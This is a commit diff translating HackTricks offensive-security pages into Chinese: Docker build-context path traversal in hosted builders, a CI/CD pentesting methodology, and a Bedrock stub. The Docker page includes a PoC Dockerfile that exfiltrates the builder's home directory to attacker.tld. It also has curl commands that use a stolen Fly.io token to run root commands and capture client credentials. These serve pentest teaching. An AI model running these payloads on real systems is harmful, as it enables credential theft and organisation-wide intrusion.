Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

This commit is contained in:
Translator
2025-10-25 22:35:59 +00:00
parent 30328227db
commit 148aa9dffa
3 changed files with 77 additions and 78 deletions
@@ -1,29 +1,29 @@
# 在 Hosted Builders 中滥用 Docker Build Context (Path Traversal, Exfil, and Cloud Pivot)
# 滥用 Docker Build Context 在 托管 构建器 (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
如果一个 CI/CD 平台或 hosted builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径,通常可以将 context 设置为父目录(例如 ".."),使主机文件成为 build context 的一部分。然后,攻击者控制的 Dockerfile 可以使用 COPY 并 exfiltrate 位于 builder 用户主目录的秘密(例如 ~/.docker/config.json)。被窃取的 registry tokens 也可能对提供商的 control-plane APIs 生效,从而导致 org-wide RCE。
如果 CI/CD 平台或托管 builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径,通常可以将 context 设置为父目录(例如 ".."),使主机文件成为构建上下文的一部分。然后,攻击者控制的 Dockerfile 可以 COPY 并外泄位于 builder 用户主目录的秘密(例如 ~/.docker/config.json)。被的 registry tokens 也可能对提供商的 control-plane APIs 生效,从而实现组织范围的 RCE。
## Attack surface
## 攻击面
许多 hosted builder/registry services 在构建用户提交的镜像时大致按以下方式工作:
- 读取包含以下内容的 repo 级配置:
- build context path(发送给 Docker daemon
- Dockerfile path(相对于该 context
许多托管 builder/registry 服务在构建用户提交的镜像时大致执行以下操作:
- 读取包含以下内容的 repo 级配置:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- 将指定的 build context 目录和 Dockerfile 复制到 Docker daemon
- 构建镜像并托管服务运行
- 构建镜像并将其作为托管服务运行
如果平台没有对 build context 进行规范化并加以限制,用户可以将其设置为仓库之外的位置(path traversal),使构建用户可读的任意主机文件成为 build context 的一部分,并可在 Dockerfile 中 COPY。
如果平台没有对 build context 进行规范化限制,用户可以将其设置为仓库之外的位置(path traversal),导致构建用户可读的任意主机文件成为构建上下文的一部分,并可在 Dockerfile 中通过 COPY 访问
常见的实际限制
- Dockerfile 必须位于所选 context 路径内,且其路径必须事先已知。
- 构建用户必须对包含在 context 中的文件具有读取权限;特殊设备文件可能会导致复制失败
常见的实际约束
- Dockerfile 必须位于所选 context 路径内,且其路径必须事先已知。
- build user 必须对包含在 context 中的文件具有读取权限;特殊设备文件可能会破坏复制过程
## PoC: Path traversal via Docker build context
示例恶意服务器配置,声明一个位于父目录上下文中的 Dockerfile
Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
@@ -41,10 +41,10 @@ exampleConfig:
apiKey: "sk-example123"
```
注意:
- 使用 ".." 常常解析到 builder 用户的 home(例如 /home/builder),该目录通常包含敏感文件。
-你的 Dockerfile 放在 repo 的目录名下(例如 repo "test" → test/Dockerfile),这样它会保持在展开的父上下文内。
- 使用 '..' 通常会解析到 builder 用户的主目录(例如 /home/builder),该目录通常包含敏感文件。
- 将 Dockerfile 放在仓库的目录名下(例如repo "test" → test/Dockerfile),以便它保持在展开的父上下文内。
## PoC: Dockerfile 用于摄取并 exfiltrate 主机上下文
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
@@ -52,34 +52,34 @@ RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
从 $HOME 恢复的目标:
常从 $HOME 恢复的目标:
- ~/.docker/config.json (registry auths/tokens)
- 其他 cloud/CLI 缓存和配置(例如~/.fly, ~/.kube, ~/.aws, ~/.config/*
- 其他 cloud/CLI 缓存和配置(例如 ~/.fly, ~/.kube, ~/.aws, ~/.config/*
提示:即使仓库中存在 .dockerignore,易受攻击的平台端上下文选择仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前将所选路径复制到 daemon,主机文件仍可能被暴露。
提示:即使仓库中包含 .dockerignore,易受攻击的平台端 context selection 仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前将所选路径复制到 daemon,主机文件仍可能被暴露。
## Cloud pivot — 使用权限过大的 tokens (example: Fly.io Machines API)
## 使用过度权限 tokens 进行 Cloud pivot(示例:Fly.io Machines API
某些平台会签发单个 bearer token可同时用于 container registry 和 control-plane API。如果你窃取了 registry token,尝试将其用于 provider API。
某些平台会颁发一个可同时用于 container registry 和 control-plane API 的 bearer token。如果你 exfiltrate 了一个 registry token,尝试用它访问 provider API。
使用从 ~/.docker/config.json 取的 token 对 Fly.io Machines API 的示例 API 调用:
使用从 ~/.docker/config.json 取的被盗 token 对 Fly.io Machines API 发起的示例 API 调用:
列举 org 中的 apps
列举组织中的 apps
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
应用的任何机器以 root 身份运行命令:
任意 app 的任何机器以 root 身份运行命令:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
结果:在 token 拥有足够权限,可对所有托管应用实现整个组织范围的 remote code execution。
结果:在 token 拥有足够权限的情况下,可对所有托管应用实现整个组织范围的 remote code execution。
## 来自被攻陷的托管服务的机密窃取
## 被攻陷的托管服务窃取 Secret
在托管服务器上获得 exec/RCE 后,你可以收集客户端提供的 secretsAPI keystokens),或发起 prompt-injection attacks。示例:安装 tcpdump 并捕获 port 8080 上的 HTTP 流量以提取传入 credentials。
托管服务器得 exec/RCE 后,你可以窃取 client-supplied secrets (API keys, tokens) 或发起 prompt-injection 攻击。示例:安装 tcpdump 并在端口 8080 捕获 HTTP 流量以提取 inbound credentials。
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
捕获的请求通常在 headers、bodies 或 query params 中包含 client credentials
捕获的请求通常在 headers、bodies 或 query params 中包含客户端凭证
## 参考资料
@@ -1,4 +1,4 @@
# Pentesting CI/CD 方法论
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS 代表 Version Control System,該系統允許開發者管理其源代碼。最常的是 **git**,你通常在以下平台之一看到公司使用它:
VCS **版本控制系统 (Version Control System)**,该系统允许开发者**管理他们的源代码**。最常的是 **git**,你通常在以下**平台**中看到公司使用它:
- Github
- Gitlab
@@ -18,40 +18,39 @@ VCS 代表 Version Control System,該系統允許開發者管理其源代碼
## CI/CD Pipelines
CI/CD pipelines 允許開發者自動化執行代碼以達成多目的,包括建、測試和部署用。些自化工作流由特定動作觸發,例如 code pushes、pull requests 或排程任務。它有助於精簡從開發到生的流程。
CI/CD pipelines 使开发者能够**自动执行代码**以完成多目的,包括建、测试和部署用。些自化工作流由特定的操作触发,例如 code pushes、pull requests 或计划任务。它有助于简化从开发到生的流程。
然而,這些系需要在某處被執行,且通常需要帶有特權的憑證來部署代碼或存取敏感資訊
但是,这些系需要在某处**执行**,并且通常需要**有特权的凭证来部署代码或访问敏感信息**
## VCS Pentesting Methodology
> [!NOTE]
> 使有些 VCS 平台允許為本節建立 pipelines,我們將只分析源代控制的在攻
> 便一些 VCS platforms 允许为此部分创建 pipelines,我们在本节中只分析源代控制的在攻
儲存專案源代的平台包含敏感資訊,因此需要非常小心在平台授予的限。以下是攻者可能用的一些常見問題
- **Leaks**: 如果你的代碼在提交中包含 leaks,且攻擊者能夠存取該 repo(因為是公開的或他有存取權),他可能會發現這些 leaks。
- **Access**: 如果攻擊者能夠存取 VCS 平台內的某個帳號,他可能會獲得更多的能見度和權限。
- **Register**: 有些平台允許外部使用者直接註冊帳號。
- **SSO**: 有些平台不允許註冊,但允許任何擁有有效 SSO 的人登入(例如攻擊者可以用他的 github 帳號登入)。
- **Credentials**: Username+Pwd、personal tokens、ssh keys、Oauth tokens、cookies……有多種類型的 token,使用者可能會被竊取來以某種方式存取 repo。
- **Webhooks**: VCS 平台允許產生 webhooks。如果它們沒有以不可見的 secret 保護,攻擊者可能會濫用它們。
- 如果沒有 secret,攻擊者可以濫用第三方平台的 webhook
- 如果 secret 在 URL 中,同樣會發生,而且攻擊者也會得到該 secret
- **Code compromise:** 如果惡意行為者對 repo 具有某種寫入權限,他可能會嘗試注入惡意代碼。為了成功,他可能需要繞過 branch protections。這些行為可為達成不同目標而執行:
- 妥協 main branch 以便進一步妥協 production。
- 妥協 main(或其他 branch)以妥協開發者的機器(因為他們通常會在自己的機器上執行測試、terraform 或其他來自 repo 的東西)。
- **Compromise the pipeline** (見下一節)
托管项目源代的平台包含敏感信息,因此必须非常小心在平台授予的限。以下是攻者可能用的一些常见问题
- **Leaks**: 如果你的代码在提交中包含 leaks,且攻击者可以访问 repo(因为它是 public 或者他已有访问权限),他可能会发现这些 leaks。
- **Access**: 如果攻击者能**访问 VCS platform 内的一个账户**,他可能会获得**更多的可见性和权限**。
- **Register**: 一些平台允许外部用户直接创建账户。
- **SSO**: 有些平台不允许直接注册,但允许任何拥有有效 SSO 的人访问(例如攻击者可以用他的 github 账户登录)。
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 有多种类型的令牌可以被窃取,从而以某种方式访问 repo。
- **Webhooks**: VCS platforms 允许生成 webhooks。如果这些 webhooks **未用不可见的 secret 保护****攻击者可能会滥用它们**。
- 如果没有 secret,攻击者可能滥用第三方平台的 webhook。
- 如果 secret 在 URL 中,同样会发生并且攻击者也会拥有该 secret。
- **Code compromise:** 如果恶意行为者对仓库拥有某种**写入**权限,他可能尝试**注入恶意代码**。要成功,他可能需要**绕过 branch protections**。这些操作可以出于不同目的:
- 攻破 main branch 以**影响 production**。
- 攻破 main(或其他分支)以**感染开发者的机器**(因为他们通常在机器上运行测试、terraform 或其他在 repo 内的任务)。
- **Compromise the pipeline**(见下一节)
## Pipelines Pentesting Methodology
pipeline 最常的方式,是在被構建的 repository 中使用一個 **CI configuration file**。該檔描述了被執行 job 的順序、影流程的條件,以及構建環境設定。\
這些檔案通常有一致的名稱與格式,例如 — Jenkinsfile (Jenkins).gitlab-ci.yml (GitLab).circleci/config.yml (CircleCI),以及位 .github/workflows 下的 GitHub Actions YAML 檔。當被觸發時pipeline job 會從選定的來源(例如 commit / branch**拉取代**並針對該代碼**執行 CI configuration file 中指定的命令**。
pipeline 最常的方式,是使用**托管在仓库中的 CI 配置文件**来描述。该文件说明执行作业的顺序、影流程的条件以及构建环境设置。\
这些文件通常有统一的名称和格式,例如 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI),以及位 .github/workflows 下的 GitHub Actions YAML 文件。当触发时pipeline 作业会**从选定源(例如 commit / branch)拉取代**并**针对该代码运行 CI 配置文件中指定的命令**。
因此,攻者的最終目標是以某方式**妥協那些設定檔**或是**它們所執行的命令**。
因此,攻者的最终目标是以某方式**篡改这些配置文件**或它们**执行的命令**。
> [!TIP]
> 有些 hosted builders許 contributors 選擇 Docker build context Dockerfile 路。如果 context 可被攻者控制,你可能會將其設在 repo 之外(例如 "..")以便在構建期間吸入主機檔案並外洩 secrets。詳見
> 一些托管的 builder 允许贡献者选择 Docker build context Dockerfile 路。如果 context 可被攻者控制,你可以将其设置到仓库外(例如 "..")以在构建期间读取主机文件并外泄 secrets。参见
>
>{{#ref}}
>docker-build-context-abuse.md
@@ -59,53 +58,53 @@ CI/CD pipelines 允許開發者自動化執行代碼以達成多種目的,包
### PPE - Poisoned Pipeline Execution
Poisoned Pipeline Execution (PPE) 路利用 SCM repository 的權限來操控 CI pipeline 並執行有害命令。有必要限的使用者可以修改 CI configuration 檔或 pipeline job 使用的其他檔案,以包含意命令。這會「poison」CI pipeline導致執行這些惡意命令
Poisoned Pipeline Execution (PPE) 路利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。有必要限的用户可以修改 CI 配置文件或 pipeline 作业使用的其他文件以包含意命令。这会“污染”CI pipeline导致这些恶意命令被执行
要成功行 PPE 攻擊,惡意行者需要能
要成功行 PPE 攻击,恶意行者需要能
- 擁有 **write access to the VCS platform**,因通常 pipeline 在 push 或 pull request 發生時被觸發。(查看 VCS pentesting methodology 以取得取得存取的摘要)
- 注意有外部 PR 也會算作「write access」
- 即便他有寫入權限,他需要確定能**修改 CI config file 或其他 CI config 所依賴的檔案**。
- 此,他可能需要能**繞過 branch protections**。
- 拥有对 VCS platform 的**写入访问**,因通常 pipeline 在 push 或 pull request 时被触发。(查看 VCS pentesting methodology 了解获取访问权限的汇总方式)。
- 注意有时**外部 PR 也会被视为“写入访问”**
- 即便他有写入权限,他需要确保能**修改 CI 配置文件或配置所依赖的其他文件**。
- 此,他可能需要能**绕过 branch protections**。
PPE 有 3 種變體
PPE 有 3 种变体
- **D-PPE**: Direct PPE生在攻者直接**修改將要被執行的 CI config** 檔時
- **I-DDE**: Indirect PPE生在攻者**修改**CI config 所依賴的**檔案**(例如 make file 或 terraform config
- **Public PPE or 3PE**: 在某些情下,pipelines 可以被沒有寫入權限的使用者(甚至不是 org 成員)觸發,因為他們可以送出 PR。
- **3PE Command Injection**: 通常,CI/CD pipelines 會以環境變數設定有關 PR 的資訊。如果值可被攻者控制(例如 PR 的標題),且被用在危險的位置(例如執行 sh 命令),攻者可能在其中**注入命令**。
- **D-PPE**: **Direct PPE**生在攻者直接**修改将被执行的 CI 配置**文件时
- **I-DDE**: **Indirect PPE**生在攻者**修改 CI 配置所依赖的文件**(例如 make 文件或 terraform 配置)时
- **Public PPE or 3PE**: 在某些情下,pipelines 可以被**没有仓库写入权限的用户触发**(这些用户可能甚至不是组织成员),因为他们可以发送 PR。
- **3PE Command Injection**: 通常,CI/CD pipelines 会用**关于 PR 的信息设置环境变量**。如果值可被攻者控制(例如 PR 的标题)且被**用于危险的地方**(比如执行 sh 命令),攻者可能在其中**注入命令**。
### Exploitation Benefits
了解三種 poison pipeline 的變體後,來看攻擊者在成功利用可能得的東西
了解了三种污染 pipeline 的方式后,我们来看攻击者成功利用可能得的收益
- **Secrets**: 如前所述,pipeline 的 job 需要特權(取得代碼、構建、部署),些特通常以 secrets 的形式存在。些 secrets 通常可透過 **env variables 或系統內的檔案** 存取。因此攻擊者會盡可能嘗試外洩最多的 secrets。
- pipeline 平台,攻擊者可能**需要在 config 中指定 secrets**。這代表如果攻擊者無法修改 CI configuration pipeline(例如 I-PPE),他可能**只能外洩該 pipeline 本身擁有的 secrets**。
- **Computation**: 代碼會在某處被執行,視執行位置不同,攻者可能能夠進一步 pivot
- **On-Premises**: pipeline 在內部執行,攻者可能進入內網並存取更多資源
- **Cloud**: 攻者可能存取雲端中的其他器,或外洩 IAM roles/service accounts tokens 以在雲端內獲得更深入的存取
- **Platforms machine**: 有時 job 會在 pipelines platform 的機器上執行,這些機器通常位於雲端且沒有更多的額外存取權限。
- **Select it:** 有pipelines platform 配置多台機器,如果你能修改 CI configuration file,你可以指定在哪台器上運行惡意代碼。在這種情況下,攻者可能在每台可用器上行反向 shell 以進一步嘗試利用。
- **Compromise production**: 如果你已進入 pipeline且最版本是從 pipeline 建構並部署的,你可以妥協將在 production 運行的程式碼
- **Secrets**: 如前所述,pipeline 的作业需要获取特权(检索代码、构建、部署),些特通常以 **secrets** 的形式存在。些 secrets 通常可以通过 **env 变量或系统内的文件**访问。因此攻击者会尽可能外泄大量 secrets。
- pipeline 平台的不同,攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者不能修改 CI 配置 pipeline(例如 I-PPE),他**只能外泄该 pipeline 所具有的 secrets**。
- **Computation**: 代码在某处被执行,取决于执行位置,攻者可能进一步横向移动
- **On-Premises**: 如果 pipelines本地执行,攻者可能进入**内部网络并访问更多资源**
- **Cloud**: 攻者可能访问云中的其他器,也可能**外泄 IAM roles/service accounts tokens**以获取云内的进一步访问
- **Platforms machine**: 有时作业会在 **pipelines platform 的机器**内执行,这些机器通常位于云中且没有更多权限。
- **Select it:** 有**pipelines platform 配置了多种机器**,如果你能**修改 CI 配置文件**,你可以**指定在哪台器上运行恶意代码**。在这种情况下,攻者可能在每台可用器上行反向 shell 以尝试进一步利用。
- **Compromise production**: 如果你 pipeline 内部并且最版本就是从这里构建和部署的,你可以**篡改将在生产中运行的代码**
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一個開源工具,用以根據新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 你的 software supply chain stack 做安全合規性審核。該審核涵蓋整個 SDLC 程,可揭露從代碼提交到部署段的風險
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具,用于基于新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 你的软件供应链堆栈进行安全合规审计。审计关注整个 SDLC 程,可以揭示从代码阶段到部署段的风险
### Top 10 CI/CD Security Risk
參考 Cider 所列的 CI/CD 前十大風險,詳見: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
查看 Cider 关于前十个 CI/CD 风险的有趣文章: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- 對於每個可以在本機執行的平台,你找到如何在本機啟動的說明,以便你可以按需配置來測試
- 在每个平台的本地运行示例中,你找到如何在本地启动它的说明,以便你可以按需配置来测试
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一個針對 infrastructure-as-code 的靜態代碼分析工具。
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个针对基础设施即代码的静态代码分析工具。
## References
@@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## 概述
## Overview
Amazon Bedrock 是一项全托管服务,使使用来自领先 AI 初创公司和 Amazon 的基础模型 (FMs) 构建和扩展生成式 AI 应用变得简单。Bedrock 通过单一 API 提供对多种基础模型的访问,允许开发者为特定用例选择最合适的模型,而无需管理底层基础设施。
Amazon Bedrock 是一项全托管服务,使使用来自领先 AI 初创公司和 Amazon 的基础模型 (FMs) 构建和扩展生成式 AI 应用变得容易。Bedrock 通过单一 API 提供对各种 FMs 的访问,允许开发者为特定用例选择最合适的模型,而无需管理底层基础设施。
## 后渗透
## Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-bedrock-post-exploitation/README.md